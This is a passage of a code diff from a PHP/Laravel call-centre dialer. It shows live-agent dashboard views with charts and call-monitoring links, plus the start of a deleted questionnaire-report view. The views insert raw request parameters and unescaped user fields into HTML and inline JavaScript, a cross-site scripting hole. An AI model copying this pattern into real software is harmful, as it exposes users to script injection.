| 83 | |||
| 84 | $reportarray[$newcall->id]=$obj; | ||
| 85 | if(!empty($tcall->sipid_id))$sipidsfound[]=$tcall->sipid_id; | ||
| 86 | } | ||
| 87 | |||
| 88 | foreach($acalls as $acall) | ||
| 89 | { | ||
| 90 | $tcall=CRMCall::where('dialline_id','=',$acall->id)->orderBy('id','DESC')->first(); | ||
| 91 | |||
| 92 | $tsipid=substr($acall->conf,4); | ||
| 93 | $tsip=Sipid::find($tsipid); | ||
| 94 | $clidata=json_decode($tsip->clients,true); | ||
| 95 | |||
| 96 | $tuser=User::find($tsip->user); | ||
| 97 | |||
| 98 | $userlog=UserLog::where('user_id','=',$tuser->id)->orderBy("id","DESC")->first(); | ||
| 99 | $stend=$userlog->getLastStatus(); | ||
| 100 | |||
| 101 | $obj=array(); | ||
| 102 | $obj["#"]=$i++; | ||
| 103 | $obj["ID"]=userchatbox($tuser).$tsip->user; | ||
| 104 | $obj["User"]=$tuser->username; | ||
| 105 | $obj["Name"]=$tuser->fullname; | ||
| 106 | $obj["Campaign"]=substr($clidata['r'],0,20); | ||
| 107 | $obj["Station"]=$tsip->id.userSpyStr($tsip->id); | ||
| 108 | $obj["Status"]="$stend[0]-$stend[1]"; | ||
| 109 | $obj["CRMId"]=$tcall->crm_id; | ||
| 110 | $obj["Number"]=$tcall->number; | ||
| 111 | $obj["Type"]=$tcall->type; | ||
| 112 | $obj["State"]=$tcall->state; | ||
| 113 | $obj["Duration"]=$nowts-strtotime($tcall->created_at); | ||
| 114 | |||
| 115 | //$reportarray[$acall->id]=$obj; | ||
| 116 | $sipidsfound[]=$tsipid; | ||
| 117 | |||
| 118 | $chart['Online']++; | ||
| 119 | $chart['InCall']++; | ||
| 120 | } | ||
| 121 | |||
| 122 | foreach($sipids as $sipid) | ||
| 123 | { | ||
| 124 | /*if(in_array($sipid->id,$sipidsfound)) | ||
| 125 | {*/ | ||
| 126 | $clidata=json_decode($sipid->clients,true); | ||
| 127 | |||
| 128 | $tuser=User::find($sipid->user); | ||
| 129 | $userlog=UserLog::where('user_id','=',$tuser->id)->orderBy("id","DESC")->first(); | ||
| 130 | $stend=$userlog->getLastStatus(); | ||
| 131 | |||
| 132 | $obj=array(); | ||
| 133 | $obj["#"]=$i++; | ||
| 134 | $obj["ID"]=userchatbox($tuser).$sipid->user; | ||
| 135 | $obj["User"]=$tuser->username; | ||
| 136 | $obj["Name"]=$tuser->fullname; | ||
| 137 | $obj["Campaign"]=substr($clidata['r'],0,20); | ||
| 138 | $obj["Station"]=$sipid->id.userSpyStr($sipid->id); | ||
| 139 | $obj["Status"]="$stend[0]-$stend[1]"; | ||
| 140 | $obj["CRMId"]=""; | ||
| 141 | $obj["Number"]=""; | ||
| 142 | $obj["Type"]=""; | ||
| 143 | $obj["State"]=""; | ||
| 144 | $obj["Duration"]=""; | ||
| 145 | |||
| 146 | $reportarray[]=$obj; | ||
| 147 | |||
| 148 | $chart['Online']++; | ||
| 149 | $chart['NoCall']++; | ||
| 150 | /*}*/ | ||
| 151 | } | ||
| 152 | |||
| 153 | $chart['CmdList']=-1*Kqueue::count(); | ||
| 154 | |||
| 155 | if(Input::get('chartvals')==1) | ||
| 156 | { | ||
| 157 | echo json_encode($chart); | ||
| 158 | return; | ||
| 159 | } | ||
| 160 | |||
| 161 | $highestColumn = sizeof($reporthead); | ||
| 162 | $outhead="<tr>";$outstr=""; | ||
| 163 | for ($head = 0; $head < $highestColumn; $head++){ | ||
| 164 | $outhead.="<td>".$reporthead[$head]."</td>"; | ||
| 165 | } | ||
| 166 | $outhead.="</tr>"; | ||
| 167 | foreach($reportarray as $uid=>$uarr) | ||
| 168 | { | ||
| 169 | $outstr.="<tr>"; | ||
| 170 | for ($head = 0; $head < $highestColumn; $head++){ | ||
| 171 | $outstr.="<td>".$uarr[$reporthead[$head]]."</td>"; | ||
| 172 | } | ||
| 173 | $outstr.="</tr>"; | ||
| 174 | } | ||
| 175 | |||
| 176 | |||
| 177 | function userchatbox($tuser) | ||
| 178 | { | ||
| 179 | return "<a data-toggle='image-preview' data-title='".$tuser->dispname()."' data-content='<small></small>' data-image-preview='".$tuser->fetchphotothumb()."' width='100' href='#' class='innerAll half border-none' onclick='tchatbox(\"chatpop_".$tuser->id."\",\"".$tuser->dispname()."\");return false;' style='padding:0 !important'><img src='".$tuser->fetchphotothumb()."' alt='photo' width='22'></a> "; | ||
| 180 | } | ||
| 181 | function userSpyStr($sipid) | ||
| 182 | { | ||
| 183 | if(!empty($sipid))return " <a href=# onclick='kDialerSpy(\"$sipid\",\"L\");return false;'>L</a> <a href=# onclick='kDialerSpy(\"$sipid\",\"B\");return false;'>B</a> <a href=# onclick='kDialerSpy(\"$sipid\",\"W\");return false;'>W</a>"; | ||
| 184 | } | ||
| 185 | //charts | ||
| 186 | ?> | ||
| 187 | |||
| 188 | |||
| 189 | <div class=innerAll> | ||
| 190 | |||
| 191 | |||
| 192 | <style>#logtable.td{vertical-align:top;}#logtable.tr{height:28px;overflow-y:hidden;}</style> | ||
| 193 | <script> | ||
| 194 | $(document).ready(function() | ||
| 195 | { | ||
| 196 | if(!$('#dialoglog').hasClass('ui-dialog-content')) | ||
| 197 | { | ||
| 198 | $('#dialoglog').dialog({ | ||
| 199 | autoOpen: false, | ||
| 200 | width: '70%', | ||
| 201 | buttons: { | ||
| 202 | "Ok": function() { | ||
| 203 | $(this).dialog("close"); | ||
| 204 | }, | ||
| 205 | "Cancel": function() { | ||
| 206 | $(this).dialog("close"); | ||
| 207 | } | ||
| 208 | } | ||
| 209 | }); | ||
| 210 | } | ||
| 211 | }); | ||
| 212 | </script> | ||
| 213 | <div style="float:left;width:50%"> | ||
| 214 | <h5>Dialer : Live</h5> | ||
| 215 | </div> | ||
| 216 | <div style="float:left;width:50%"> | ||
| 217 | <button class="pull-right btn btn-sm btn-default" onclick='liveLogReloadFun(10);return false;' title='Reload' style='margin-top:-8px'><i class='fa fa-refresh'></i> Reload</button> | ||
| 218 | </div> | ||
| 219 | <div style="clear:both"></div> | ||
| 220 | <hr> | ||
| 221 | |||
| 222 | <div class=col-md-12> | ||
| 223 | |||
| 224 | |||
| 225 | <div id=liveuserlogschart1{!!$nowts!!} style='min-height:300px;width:100%'></div> | ||
| 226 | <script> | ||
| 227 | var livechart001=''; | ||
| 228 | $(function () { | ||
| 229 | livechart001=$('#liveuserlogschart1{!!$nowts!!}').highcharts({ | ||
| 230 | title: { | ||
| 231 | text: '', | ||
| 232 | x: -20 //center | ||
| 233 | }, | ||
| 234 | subtitle: { | ||
| 235 | text: '', | ||
| 236 | x: -20 | ||
| 237 | }, | ||
| 238 | xAxis: { | ||
| 239 | categories: [<?php $ccc=array();for($c=60;$c>0;$c--){echo "'",date('H:i:s',time()-($c*10)-($dashboarduser->timezone*60))."',";$ccc[]="0";}$ccc="[".implode(",",$ccc)."]"; ?>], | ||
| 240 | labels:{ | ||
| 241 | enabled:false//default is true | ||
| 242 | }, | ||
| 243 | }, | ||
| 244 | yAxis: { | ||
| 245 | title: { | ||
| 246 | text: '' | ||
| 247 | }, | ||
| 248 | plotLines: [{ | ||
| 249 | value: 0, | ||
| 250 | width: 1, | ||
| 251 | color: '#808080' | ||
| 252 | }] | ||
| 253 | }, | ||
| 254 | tooltip: { | ||
| 255 | valueSuffix: '' | ||
| 256 | }, | ||
| 257 | legend: { | ||
| 258 | |||
| 259 | }, | ||
| 260 | series: [{ | ||
| 261 | name: 'Online', | ||
| 262 | data: {!!Input::get('Online',$ccc)!!} | ||
| 263 | }, { | ||
| 264 | name: 'NoCall', | ||
| 265 | data: {!!Input::get('NoCall',$ccc)!!} | ||
| 266 | }, { | ||
| 267 | name: 'InCall', | ||
| 268 | data: {!!Input::get('InCall',$ccc)!!} | ||
| 269 | }, { | ||
| 270 | name: 'CallWait', | ||
| 271 | data: {!!Input::get('CallWait',$ccc)!!} | ||
| 272 | }, { | ||
| 273 | name: 'CmdList',visible: false, | ||
| 274 | data: {!!Input::get('CmdList',$ccc)!!} | ||
| 275 | }] | ||
| 276 | }); | ||
| 277 | }); | ||
| 278 | |||
| 279 | function liveLogReloadFun(delay) | ||
| 280 | { | ||
| 281 | var tchart=livechart001.highcharts(); | ||
| 282 | var sdata=''; | ||
| 283 | sdata+='&Online='+JSON.stringify(tchart.series[0].yData); | ||
| 284 | sdata+='&NoCall='+JSON.stringify(tchart.series[1].yData); | ||
| 285 | sdata+='&InCall='+JSON.stringify(tchart.series[2].yData); | ||
| 286 | sdata+='&CallWait='+JSON.stringify(tchart.series[3].yData); | ||
| 287 | sdata+='&CmdList='+JSON.stringify(tchart.series[4].yData); | ||
| 288 | |||
| 289 | setTimeout(function(){ | ||
| 290 | if($("#liveuserlogschart1{!!$nowts!!}").length) | ||
| 291 | doAjax('dialer/liveusers',sdata,'rightmainreportdiv','ajax_dialer_reports','singlethis','GET'); | ||
| 292 | },delay); | ||
| 293 | } | ||
| 294 | function liveLogReloadChartFun(delay) | ||
| 295 | { | ||
| 296 | setTimeout(function(){ | ||
| 297 | if($("#liveuserlogschart1{!!$nowts!!}").length) | ||
| 298 | doAjax('dialer/liveusers','chartvals=1','__FD__','ajax_dialer_reports','singlethis','GET',function(res) | ||
| 299 | { | ||
| 300 | var resobj=JSON.parse(res.responseText); | ||
| 301 | |||
| 302 | var tchart=livechart001.highcharts(); | ||
| 303 | var shift = tchart.series[0].data.length > 60; | ||
| 304 | |||
| 305 | // add the point | ||
| 306 | tchart.series[0].addPoint([resobj['ts'],resobj['Online']], true, shift); | ||
| 307 | tchart.series[1].addPoint([resobj['ts'],resobj['NoCall']], true, shift); | ||
| 308 | tchart.series[2].addPoint([resobj['ts'],resobj['InCall']], true, shift); | ||
| 309 | tchart.series[3].addPoint([resobj['ts'],resobj['CallWait']],true,shift); | ||
| 310 | tchart.series[4].addPoint([resobj['ts'],resobj['CmdList']],true,shift); | ||
| 311 | |||
| 312 | // call it again after one second | ||
| 313 | setTimeout(liveLogReloadChartFun, 10000); | ||
| 314 | |||
| 315 | |||
| 316 | }); | ||
| 317 | },delay); | ||
| 318 | } | ||
| 319 | liveLogReloadChartFun(10); | ||
| 320 | </script> | ||
| 321 | |||
| 322 | </div> | ||
| 323 | |||
| 324 | <div style='clear:both'></div> | ||
| 325 | |||
| 326 | |||
| 327 | |||
| 328 | <div style='clear:both'></div> | ||
| 329 | |||
| 330 | <div style='overflow:auto'> | ||
| 331 | <table id=logtable class='footable table table-striped table-bordered table-white table-primary footable-loaded' style='font-size:12px'> | ||
| 332 | <thead> | ||
| 333 | <?php echo $outhead; ?> | ||
| 334 | </thead> | ||
| 335 | <?php echo $outstr; ?> | ||
| 336 | </table> | ||
| 337 | </div> | ||
| 338 | |||
| 339 | <div id=dialoglog></div> | ||
| 340 | |||
| 341 | |||
| 342 | |||
| 343 | |||
| 344 | |||
| 345 | </div> | ||
| 346 | <!-- | ||
| 347 | |||
| 348 | <?php //if($dashboarduser->moduleACL("Admin",false,false,true))print_r(Config::get('app.sqllog')); ?> | ||
| 349 | |||
| 350 | --> |
application/resources/views/layout/module/dialer/liveusers.blade_10.3.179.121_26102017.php
0 → 100644
| 1 | <?php | ||
| 2 | use App\Models\CRMCall; | ||
| 3 | use App\Models\Dialline; | ||
| 4 | use App\Models\Sipid; | ||
| 5 | use App\Models\User; | ||
| 6 | use App\Models\UserLog; | ||
| 7 | use App\Models\Kqueue; | ||
| 8 | use App\Jobs\KHRMSLib; | ||
| 9 | |||
| 10 | $wakka = new KHRMSLib(); | ||
| 11 | $dashboarduser=Auth::user(); | ||
| 12 | $nowts=time(); | ||
| 13 | $chart=array('ts'=>date('H:i:s',time()-($dashboarduser->timezone*60)),'Online'=>0,'NoCall'=>0,'InCall'=>0,'CallWait'=>0,'CmdList'=>0); | ||
| 14 | |||
| 15 | if($dashboarduser->usertype != 'Admin') | ||
| 16 | //if(!$dashboarduser->moduleACL("Dialer",false,false,true)) | ||
| 17 | { | ||
| 18 | $allusers=User::where(function ($query) use($dashboarduser) { | ||
| 19 | $query->where('supervisor','=',$dashboarduser->username) | ||
| 20 | ->orWhere('lteam2','=',$dashboarduser->username) | ||
| 21 | ->orWhere('lteam','=',$dashboarduser->username) | ||
| 22 | ->orWhere('id','=',$dashboarduser->id); | ||
| 23 | }) | ||
| 24 | ->where(function ($query) { | ||
| 25 | $query->where('status', '=', 'Active'); | ||
| 26 | })->get(); | ||
| 27 | } | ||
| 28 | else | ||
| 29 | { | ||
| 30 | $allusers=User::where("status","=","Active")->get(); | ||
| 31 | } | ||
| 32 | foreach($allusers as $tuser)$uidlist[]=$tuser->id; | ||
| 33 | |||
| 34 | $newcalls=Dialline::where('status','!=','Free')->where('conf','=','')->orderBy('updated_at')->get(); | ||
| 35 | $acalls=Dialline::where('status','!=','Free')->where('conf','!=','')->orderBy('updated_at')->get(); | ||
| 36 | $sipids=Sipid::whereIn("user",$uidlist)->where("status","=","1")->get(); | ||
| 37 | $alist=array(); | ||
| 38 | $sipidsfound=array(); | ||
| 39 | |||
| 40 | $userarr=array();$i=1; | ||
| 41 | $reporthead=array("#","ID","User","Name","Campaign","Station","Status","CRMId","Number","Type","State","Duration"); | ||
| 42 | $reportarray=array(); | ||
| 43 | foreach($newcalls as $newcall) | ||
| 44 | { | ||
| 45 | $tcall=CRMCall::where('dialline_id','=',$newcall->id)->orderBy('id','DESC')->first(); | ||
| 46 | $un="";$uid="";$us=""; | ||
| 47 | if($tcall->user_id>0) | ||
| 48 | { | ||
| 49 | $tuser=User::find($tcall->user_id); | ||
| 50 | $un=$tuser->username; | ||
| 51 | $uname=$tuser->fullname; | ||
| 52 | $uid=userchatbox($tuser).$tuser->id; | ||
| 53 | |||
| 54 | $userlog=UserLog::where('user_id','=',$tuser->id)->orderBy("id","DESC")->first(); | ||
| 55 | $stend=$userlog->getLastStatus(); | ||
| 56 | $us="$stend[0]-$stend[1]"; | ||
| 57 | |||
| 58 | $chart['Online']++; | ||
| 59 | $chart['InCall']++; | ||
| 60 | } | ||
| 61 | else $chart['CallWait']++; | ||
| 62 | |||
| 63 | if($tcall->state == 'DialEnd') | ||
| 64 | { | ||
| 65 | $us = "Talk"; | ||
| 66 | } | ||
| 67 | |||
| 68 | $obj=array(); | ||
| 69 | $obj["#"]=$i++; | ||
| 70 | $obj["ID"]=$uid; | ||
| 71 | $obj["User"]=$un; | ||
| 72 | $obj["Name"]=$uname; | ||
| 73 | $obj["Campaign"]=$tcall->client; | ||
| 74 | $obj["Station"]=$tcall->sipid_id.userSpyStr($tcall->sipid_id); | ||
| 75 | $obj["Status"]=$us; | ||
| 76 | $obj["CRMId"]=$tcall->crm_id; | ||
| 77 | $obj["Number"]=$tcall->number; | ||
| 78 | $obj["Type"]=$tcall->type; | ||
| 79 | $obj["State"]=$tcall->state; | ||
| 80 | $obj["Duration"]=$nowts-strtotime($tcall->created_at); | ||
| 81 | |||
| 82 | //$reportarray[$newcall->id]=$obj; | ||
| 83 | if(!empty($tcall->sipid_id))$sipidsfound[]=$tcall->sipid_id; | ||
| 84 | } | ||
| 85 | |||
| 86 | foreach($acalls as $acall) | ||
| 87 | { | ||
| 88 | $tcall=CRMCall::where('dialline_id','=',$acall->id)->orderBy('id','DESC')->first(); | ||
| 89 | |||
| 90 | $tsipid=substr($acall->conf,4); | ||
| 91 | $tsip=Sipid::find($tsipid); | ||
| 92 | $clidata=json_decode($tsip->clients,true); | ||
| 93 | |||
| 94 | $tuser=User::find($tsip->user); | ||
| 95 | |||
| 96 | $userlog=UserLog::where('user_id','=',$tuser->id)->orderBy("id","DESC")->first(); | ||
| 97 | $stend=$userlog->getLastStatus(); | ||
| 98 | |||
| 99 | $obj=array(); | ||
| 100 | $obj["#"]=$i++; | ||
| 101 | $obj["ID"]=userchatbox($tuser).$tsip->user; | ||
| 102 | $obj["User"]=$tuser->username; | ||
| 103 | $obj["Name"]=$tuser->fullname; | ||
| 104 | $obj["Campaign"]=substr($clidata['r'],0,20); | ||
| 105 | $obj["Station"]=$tsip->id.userSpyStr($tsip->id); | ||
| 106 | $obj["Status"]="$stend[0]-$stend[1]"; | ||
| 107 | $obj["CRMId"]=$tcall->crm_id; | ||
| 108 | $obj["Number"]=$tcall->number; | ||
| 109 | $obj["Type"]=$tcall->type; | ||
| 110 | $obj["State"]=$tcall->state; | ||
| 111 | $obj["Duration"]=$nowts-strtotime($tcall->created_at); | ||
| 112 | |||
| 113 | //$reportarray[$acall->id]=$obj; | ||
| 114 | $sipidsfound[]=$tsipid; | ||
| 115 | |||
| 116 | $chart['Online']++; | ||
| 117 | $chart['InCall']++; | ||
| 118 | } | ||
| 119 | |||
| 120 | foreach($sipids as $sipid) | ||
| 121 | { | ||
| 122 | /*if(in_array($sipid->id,$sipidsfound)) | ||
| 123 | {*/ | ||
| 124 | $clidata=json_decode($sipid->clients,true); | ||
| 125 | |||
| 126 | $tuser=User::find($sipid->user); | ||
| 127 | $userlog=UserLog::where('user_id','=',$tuser->id)->orderBy("id","DESC")->first(); | ||
| 128 | $stend=$userlog->getLastStatus(); | ||
| 129 | |||
| 130 | $obj=array(); | ||
| 131 | $obj["#"]=$i++; | ||
| 132 | $obj["ID"]=userchatbox($tuser).$sipid->user; | ||
| 133 | $obj["User"]=$tuser->username; | ||
| 134 | $obj["Name"]=$tuser->fullname; | ||
| 135 | $obj["Campaign"]=substr($clidata['r'],0,20); | ||
| 136 | $obj["Station"]=$sipid->id.userSpyStr($sipid->id); | ||
| 137 | $obj["Status"]="$stend[0]-$stend[1]"; | ||
| 138 | $obj["CRMId"]=""; | ||
| 139 | $obj["Number"]=""; | ||
| 140 | $obj["Type"]=""; | ||
| 141 | $obj["State"]=""; | ||
| 142 | $obj["Duration"]=""; | ||
| 143 | |||
| 144 | $reportarray[]=$obj; | ||
| 145 | |||
| 146 | $chart['Online']++; | ||
| 147 | $chart['NoCall']++; | ||
| 148 | /*}*/ | ||
| 149 | } | ||
| 150 | |||
| 151 | $chart['CmdList']=-1*Kqueue::count(); | ||
| 152 | |||
| 153 | if(Input::get('chartvals')==1) | ||
| 154 | { | ||
| 155 | echo json_encode($chart); | ||
| 156 | return; | ||
| 157 | } | ||
| 158 | |||
| 159 | $highestColumn = sizeof($reporthead); | ||
| 160 | $outhead="<tr>";$outstr=""; | ||
| 161 | for ($head = 0; $head < $highestColumn; $head++){ | ||
| 162 | $outhead.="<td>".$reporthead[$head]."</td>"; | ||
| 163 | } | ||
| 164 | $outhead.="</tr>"; | ||
| 165 | foreach($reportarray as $uid=>$uarr) | ||
| 166 | { | ||
| 167 | $outstr.="<tr>"; | ||
| 168 | for ($head = 0; $head < $highestColumn; $head++){ | ||
| 169 | $outstr.="<td>".$uarr[$reporthead[$head]]."</td>"; | ||
| 170 | } | ||
| 171 | $outstr.="</tr>"; | ||
| 172 | } | ||
| 173 | |||
| 174 | |||
| 175 | function userchatbox($tuser) | ||
| 176 | { | ||
| 177 | return "<a data-toggle='image-preview' data-title='".$tuser->dispname()."' data-content='<small></small>' data-image-preview='".$tuser->fetchphotothumb()."' width='100' href='#' class='innerAll half border-none' onclick='tchatbox(\"chatpop_".$tuser->id."\",\"".$tuser->dispname()."\");return false;' style='padding:0 !important'><img src='".$tuser->fetchphotothumb()."' alt='photo' width='22'></a> "; | ||
| 178 | } | ||
| 179 | function userSpyStr($sipid) | ||
| 180 | { | ||
| 181 | if(!empty($sipid))return " <a href=# onclick='kDialerSpy(\"$sipid\",\"L\");return false;'>L</a> <a href=# onclick='kDialerSpy(\"$sipid\",\"B\");return false;'>B</a> <a href=# onclick='kDialerSpy(\"$sipid\",\"W\");return false;'>W</a>"; | ||
| 182 | } | ||
| 183 | //charts | ||
| 184 | ?> | ||
| 185 | |||
| 186 | |||
| 187 | <div class=innerAll> | ||
| 188 | |||
| 189 | |||
| 190 | <style>#logtable.td{vertical-align:top;}#logtable.tr{height:28px;overflow-y:hidden;}</style> | ||
| 191 | <script> | ||
| 192 | $(document).ready(function() | ||
| 193 | { | ||
| 194 | if(!$('#dialoglog').hasClass('ui-dialog-content')) | ||
| 195 | { | ||
| 196 | $('#dialoglog').dialog({ | ||
| 197 | autoOpen: false, | ||
| 198 | width: '70%', | ||
| 199 | buttons: { | ||
| 200 | "Ok": function() { | ||
| 201 | $(this).dialog("close"); | ||
| 202 | }, | ||
| 203 | "Cancel": function() { | ||
| 204 | $(this).dialog("close"); | ||
| 205 | } | ||
| 206 | } | ||
| 207 | }); | ||
| 208 | } | ||
| 209 | }); | ||
| 210 | </script> | ||
| 211 | <div style="float:left;width:50%"> | ||
| 212 | <h5>Dialer : Live</h5> | ||
| 213 | </div> | ||
| 214 | <div style="float:left;width:50%"> | ||
| 215 | <button class="pull-right btn btn-sm btn-default" onclick='liveLogReloadFun(10);return false;' title='Reload' style='margin-top:-8px'><i class='fa fa-refresh'></i> Reload</button> | ||
| 216 | </div> | ||
| 217 | <div style="clear:both"></div> | ||
| 218 | <hr> | ||
| 219 | |||
| 220 | <div class=col-md-12> | ||
| 221 | |||
| 222 | |||
| 223 | <div id=liveuserlogschart1{!!$nowts!!} style='min-height:300px;width:100%'></div> | ||
| 224 | <script> | ||
| 225 | var livechart001=''; | ||
| 226 | $(function () { | ||
| 227 | livechart001=$('#liveuserlogschart1{!!$nowts!!}').highcharts({ | ||
| 228 | title: { | ||
| 229 | text: '', | ||
| 230 | x: -20 //center | ||
| 231 | }, | ||
| 232 | subtitle: { | ||
| 233 | text: '', | ||
| 234 | x: -20 | ||
| 235 | }, | ||
| 236 | xAxis: { | ||
| 237 | categories: [<?php $ccc=array();for($c=60;$c>0;$c--){echo "'",date('H:i:s',time()-($c*10)-($dashboarduser->timezone*60))."',";$ccc[]="0";}$ccc="[".implode(",",$ccc)."]"; ?>], | ||
| 238 | labels:{ | ||
| 239 | enabled:false//default is true | ||
| 240 | }, | ||
| 241 | }, | ||
| 242 | yAxis: { | ||
| 243 | title: { | ||
| 244 | text: '' | ||
| 245 | }, | ||
| 246 | plotLines: [{ | ||
| 247 | value: 0, | ||
| 248 | width: 1, | ||
| 249 | color: '#808080' | ||
| 250 | }] | ||
| 251 | }, | ||
| 252 | tooltip: { | ||
| 253 | valueSuffix: '' | ||
| 254 | }, | ||
| 255 | legend: { | ||
| 256 | |||
| 257 | }, | ||
| 258 | series: [{ | ||
| 259 | name: 'Online', | ||
| 260 | data: {!!Input::get('Online',$ccc)!!} | ||
| 261 | }, { | ||
| 262 | name: 'NoCall', | ||
| 263 | data: {!!Input::get('NoCall',$ccc)!!} | ||
| 264 | }, { | ||
| 265 | name: 'InCall', | ||
| 266 | data: {!!Input::get('InCall',$ccc)!!} | ||
| 267 | }, { | ||
| 268 | name: 'CallWait', | ||
| 269 | data: {!!Input::get('CallWait',$ccc)!!} | ||
| 270 | }, { | ||
| 271 | name: 'CmdList',visible: false, | ||
| 272 | data: {!!Input::get('CmdList',$ccc)!!} | ||
| 273 | }] | ||
| 274 | }); | ||
| 275 | }); | ||
| 276 | |||
| 277 | function liveLogReloadFun(delay) | ||
| 278 | { | ||
| 279 | var tchart=livechart001.highcharts(); | ||
| 280 | var sdata=''; | ||
| 281 | sdata+='&Online='+JSON.stringify(tchart.series[0].yData); | ||
| 282 | sdata+='&NoCall='+JSON.stringify(tchart.series[1].yData); | ||
| 283 | sdata+='&InCall='+JSON.stringify(tchart.series[2].yData); | ||
| 284 | sdata+='&CallWait='+JSON.stringify(tchart.series[3].yData); | ||
| 285 | sdata+='&CmdList='+JSON.stringify(tchart.series[4].yData); | ||
| 286 | |||
| 287 | setTimeout(function(){ | ||
| 288 | if($("#liveuserlogschart1{!!$nowts!!}").length) | ||
| 289 | doAjax('dialer/liveusers',sdata,'rightmainreportdiv','ajax_dialer_reports','singlethis','GET'); | ||
| 290 | },delay); | ||
| 291 | } | ||
| 292 | function liveLogReloadChartFun(delay) | ||
| 293 | { | ||
| 294 | setTimeout(function(){ | ||
| 295 | if($("#liveuserlogschart1{!!$nowts!!}").length) | ||
| 296 | doAjax('dialer/liveusers','chartvals=1','__FD__','ajax_dialer_reports','singlethis','GET',function(res) | ||
| 297 | { | ||
| 298 | var resobj=JSON.parse(res.responseText); | ||
| 299 | |||
| 300 | var tchart=livechart001.highcharts(); | ||
| 301 | var shift = tchart.series[0].data.length > 60; | ||
| 302 | |||
| 303 | // add the point | ||
| 304 | tchart.series[0].addPoint([resobj['ts'],resobj['Online']], true, shift); | ||
| 305 | tchart.series[1].addPoint([resobj['ts'],resobj['NoCall']], true, shift); | ||
| 306 | tchart.series[2].addPoint([resobj['ts'],resobj['InCall']], true, shift); | ||
| 307 | tchart.series[3].addPoint([resobj['ts'],resobj['CallWait']],true,shift); | ||
| 308 | tchart.series[4].addPoint([resobj['ts'],resobj['CmdList']],true,shift); | ||
| 309 | |||
| 310 | // call it again after one second | ||
| 311 | setTimeout(liveLogReloadChartFun, 10000); | ||
| 312 | |||
| 313 | |||
| 314 | }); | ||
| 315 | },delay); | ||
| 316 | } | ||
| 317 | liveLogReloadChartFun(10); | ||
| 318 | </script> | ||
| 319 | |||
| 320 | </div> | ||
| 321 | |||
| 322 | <div style='clear:both'></div> | ||
| 323 | |||
| 324 | |||
| 325 | |||
| 326 | <div style='clear:both'></div> | ||
| 327 | |||
| 328 | <div style='overflow:auto'> | ||
| 329 | <table id=logtable class='footable table table-striped table-bordered table-white table-primary footable-loaded' style='font-size:12px'> | ||
| 330 | <thead> | ||
| 331 | <?php echo $outhead; ?> | ||
| 332 | </thead> | ||
| 333 | <?php echo $outstr; ?> | ||
| 334 | </table> | ||
| 335 | </div> | ||
| 336 | |||
| 337 | <div id=dialoglog></div> | ||
| 338 | |||
| 339 | |||
| 340 | |||
| 341 | |||
| 342 | |||
| 343 | </div> | ||
| 344 | <!-- | ||
| 345 | |||
| 346 | <?php //if($dashboarduser->moduleACL("Admin",false,false,true))print_r(Config::get('app.sqllog')); ?> | ||
| 347 | |||
| 348 | --> |
File mode changed
application/resources/views/layout/module/dialer/questairereport.blade_100317.php
deleted
100755 → 0
| 1 | <?php | ||
| 2 | use App\Models\CRMCall; | ||
| 3 | use App\Models\User; | ||
| 4 | use App\Jobs\KHRMSLib; | ||
| 5 | use DB; | ||
| 6 | |||
| 7 | $wakka = new KHRMSLib(); | ||
| 8 | $dashboarduser=Auth::user(); | ||
| 9 | |||
| 10 | if(isset($_GET['logdate']))$logdate=strtotime($_GET['logdate']." 00:00:00"); | ||
| 11 | else $logdate=strtotime(date('Y-m-d')." 00:00:00"); | ||
| 12 | |||
| 13 | $alist=CRMCall::where('created_at','>=',date("Y-m-d H:i:s",$logdate))->where('created_at','<=',date("Y-m-d H:i:s",$logdate+24*60*60)); | ||
| 14 | |||
| 15 | //if(!$dashboarduser->moduleACL("Dialer",false,false,true)) | ||
| 16 | if($dashboarduser->usertype != 'Admin') | ||
| 17 | { | ||
| 18 | $uidlist=array($dashboarduser->id); | ||
| 19 | $allusers=User::where(function ($query) use($dashboarduser) { | ||
| 20 | $query->where('supervisor','=',$dashboarduser->username) | ||
| 21 | ->orWhere('lteam2','=',$dashboarduser->username) | ||
| 22 | ->orWhere('lteam','=',$dashboarduser->username); | ||
| 23 | })->get(); | ||
| 24 | // ->where(function ($query) { | ||
| 25 | // $query->where('status', '=', 'Active'); | ||
| 26 | // })->get(); | ||
| 27 | |||
| 28 | foreach($allusers as $tuser)$uidlist[]=$tuser->id; | ||
| 29 | |||
| 30 | |||
| 31 | $roclientstr=array();$didlinesstr=array(); | ||
| 32 | if($dashboarduser->exten!="")$didlinesstr[]=$dashboarduser->exten; | ||
| 33 | $oclientlst=$wakka->clientsReadAccess(); | ||
| 34 | if(!empty($oclientlst))foreach($oclientlst as $tclnt)if($tclnt!="") | ||
| 35 | { | ||
| 36 | $roclientstr[]="$tclnt"; | ||
| 37 | |||
| 38 | $mastersdata=$wakka->getCompanyMaster($tclnt); | ||
| 39 | if(!empty($mastersdata["DialerDID"]))$didlinesstr[]=$mastersdata["DialerDID"]; | ||
| 40 | } | ||
| 41 | |||
| 42 | $alist=$alist->where(function ($query) use($roclientstr,$uidlist,$didlinesstr){ | ||
| 43 | $query->orWhereIn('client',$roclientstr) | ||
| 44 | ->orWhereIn('user_id',$uidlist) | ||
| 45 | ->orWhereIn('did',$didlinesstr); | ||
| 46 | }); | ||
| 47 | |||
| 48 | } | ||
| 49 | |||
| 50 | $alist=$alist->get(); | ||
| 51 | |||
| 52 | $userarr=array();$i=1; | ||
| 53 | $reporthead=array("id","created_at","updated_at","user_id","cust_id","call_id","name","number","question_time","auth_question_1","auth_opt_1","auth_question_2","auth_opt_2","auth_question_3","auth_opt_3","auth_question_4","auth_opt_4","auth_question_5","auth_opt_5","question","primary_question","primary_response","primary_text","followup_question","followup_response","followup_text","secondary_question","secondary_response","secondary_text"); | ||
| 54 | $reportarray=DB::table('questionaire_details')->select('*')->get(); | ||
| 55 | |||
| 56 | if(Input::has("dllogxls")) | ||
| 57 | { | ||
| 58 | include_once(app_path().'/lib/phpexcel/PHPExcel.php'); | ||
| 59 | |||
| 60 | $inputFileType = "Excel5"; | ||
| 61 | $objReader = PHPExcel_IOFactory::createReader($inputFileType); | ||
| 62 | $objPHPExcel = $objReader->load("assets/extras/blank.xls"); | ||
| 63 | $baseRow = 2; | ||
| 64 | |||
| 65 | |||
| 66 | $highestColumn = sizeof($reporthead); | ||
| 67 | for ($head = 0; $head < $highestColumn; $head++){ | ||
| 68 | $colstr=PHPExcel_Cell::stringFromColumnIndex($head); | ||
| 69 | $objPHPExcel->getActiveSheet()->setCellValue($colstr."1", $reporthead[$head]); | ||
| 70 | } | ||
| 71 | |||
| 72 | foreach($reportarray as $uid=>$uarr) | ||
| 73 | { | ||
| 74 | $row = $baseRow++; | ||
